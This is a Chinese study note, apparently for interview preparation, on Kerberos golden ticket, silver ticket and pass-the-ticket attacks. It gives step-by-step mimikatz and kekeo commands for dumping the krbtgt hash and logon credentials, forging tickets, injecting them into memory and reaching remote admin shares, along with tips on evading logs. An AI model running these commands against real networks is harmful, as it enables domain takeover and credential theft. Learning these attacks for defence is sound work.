面试有不小几率会提到的

背景

票据传递攻击(PTT) 是一种使用kerberos票据代替明文密码或N T L M哈希的方法
mimikatz提供不需要本地管理员权限进行横向渗透的方法,实现未授权访问,如Pass The Ticket

TGT(Ticket Grabting Ticket):由AS身份认证服务提供的票据,用于身份认证,存储在内存中,默认有效期为10小时

AS,是KDC的组件之一,处理初始请求并负责发出T G T给client,用于完成对Client的身份验证

TGS(Ticket Granting Service):由T G S服务提供的票据也称为白银票据,用于发出所有请求的服务的票据

TGS是kdc组件之一,从as哪里拿到tgt之后,tgs再发出对某个特定服务或服务器访问的ticket,这个ticket允许对某个服务访问

黄金票据利用条件

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 sid
  • krbtgt的ntlm hash或aes-256值

    krbtgt用户是愉域自带用户,被K D C所使用,属于Domain Admins组 在域环境下,每个用户帐号的票据都是由krbtgt用户所生成的,因此如果知道了krbtgt用户的N T L M H A S H或者A E S-256值就可以伪造域内任何用户的身份了

白银票据利用条件

  • 域名
  • 域sid
  • 目标服务器的F Q D N 即完整的域名
  • 可利用的服务
  • 服务账户的N T L M哈希
  • 伪造的用户名即任意用户名

    票据伪造原理

    黄金票据

    在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:不需要与 AS 进行交互,需要用户 krbtgt 的 Hash,可以生成任意用户的TGT,伪造TGT

白银票据

Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

特点:不需要与KDC进行交互;需要server的NTLM hash。伪造ST

all in all

  1. 黄金票据或者白银票据需要拿到krbtgt或者server用户的hash,故只能为后门所用
  2. 白银票据利用之后没有日志,比黄金票据更好
  3. Service Hash是目标中一个用户名与hostname相同的用户的hash,如hostname为P C-W I N7的服务器,对应的Hash就是Username:P C W I N7$的Hash

黄金票据利用

  1. 导出krbtgt的N T L M H A SH
    1. lsadump::dcsync/domain:sec.com /user:krbtgt

    该命令使用的dcsync功能远程转储ad里面的ntds.dit 使用/user参数,可以只导出指定用户的值

或者使用以下命令获取krbtgt的ntlm hash,域sid值,但该命令无法获取aes-256的值

  1. privilege::debug
  2. lsadump::lsa /path/user:krbtgt
  1. 获取基本信息

获取域S I D

  1. wmic useraccount get name,sid

获取当前用户的sid

  1. whoami /user

查询域管理员账号

  1. net group "domain admins" /domain

查询域名

  1. ipconfig /all
  1. 制造黄金票据

先将票据清空

  1. kerberos::purge

生成票据

  1. kerberos::golden /admin:Administrator /domain:sec.com /sid:当前域的S I D /krbtgt:krbtgtN T L M H A SH /ticket:Administrator.kiribi

传递票据并注入内存

  1. kerberos::ptt Administrator.kiribi

白银票据利用

伪造G I F S服务权限

G I FS服务常用于windows主机之间的文件共享

首先使用mimikatz获取服务器账户的N T L M哈希

  1. mimikatz log "privilege::debug" "sekurlsa::logonpasswords" exit

得到H ash后,清空当前系统中的票据,防止其他票据干扰

  1. klist purge
  2. kerberos::purge

使用mimikatz伪造白银票据

  1. mimikatz "kerberos::golden /user:t /domain:sec.com sid:xxx /target:dc /rc4:xxxx /service:cifs /ptt" exit

伪造L D A P服务权限

首先判断当前权限是否可以使用dcsync域控进行同步

  1. mimikatz "lsadump::dcsync /dc:dc /doamin:sec.com /user:krbtgt" exit

如果返回error说明当前权限不能进行dcsync操作
接下来生成L D A P服务的白银票据

  1. mimikatz "kerberos::golden /user:t /domain:sec.com /sid:xxxx /target:dc /rc4:xxx /service:ldap /ptt" exit

使用 mimikatz 进行票据传递

使用mimikatz(管理员权限)将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)

  1. mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

从中选择一个目标系统自己的,移动到黑客机器上。
将票据文件注入内存:

  1. mimikatz "kerberos::ptt "[0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"

将最高权限的票据文件注入内存后,将列出远程计算机系统的文件目录:

  1. dir \\192.168.3.25\C$
  2. 遇到密码错误的问题那么我们把IP换成目标主机名:
  3. dir \\mary-pc\c$

票据传递比哈希传递更方便,更实用,成功率更高。
如果要清除内存中的票据使用mimikatz运行下面的命令:

  1. kerberos::purge

使用 kekeo 进行票据传递

kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

  1. 域名:god.org
  2. 用户名:administrator
  3. NTLM Hashccef208c6485269c20db2cad21734fe7

也就是在目标机器上运行下面的命令,只需要普通权限就可以!

  1. kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"

这个时候会在当前路径下生成一个票据文件:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
之后把这个票据文件移动到黑客的机器上,在黑客机器上使用 kekeo 输入命令将移动的票据导入内存:

  1. kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

这个时候就可以使用 dir 命令,列出远程主机中的文件:

  1. dir \\OWA2010CN-God\c$
  2. PS:使用 dir 命令时,务必使用主机名,如果使用 IP 地址,就有可能导致错误。

两个票据的区别

  1. 白银票据不经过kdc,因此白银票据日志比黄金票据日志少,日志都在目标服务器上,不在域控
  2. 白银票据利用服务器账号的hash,不同于黄金票据利用krbtgt账号的hash,因此白银票据更加隐蔽,但权限不如黄金票据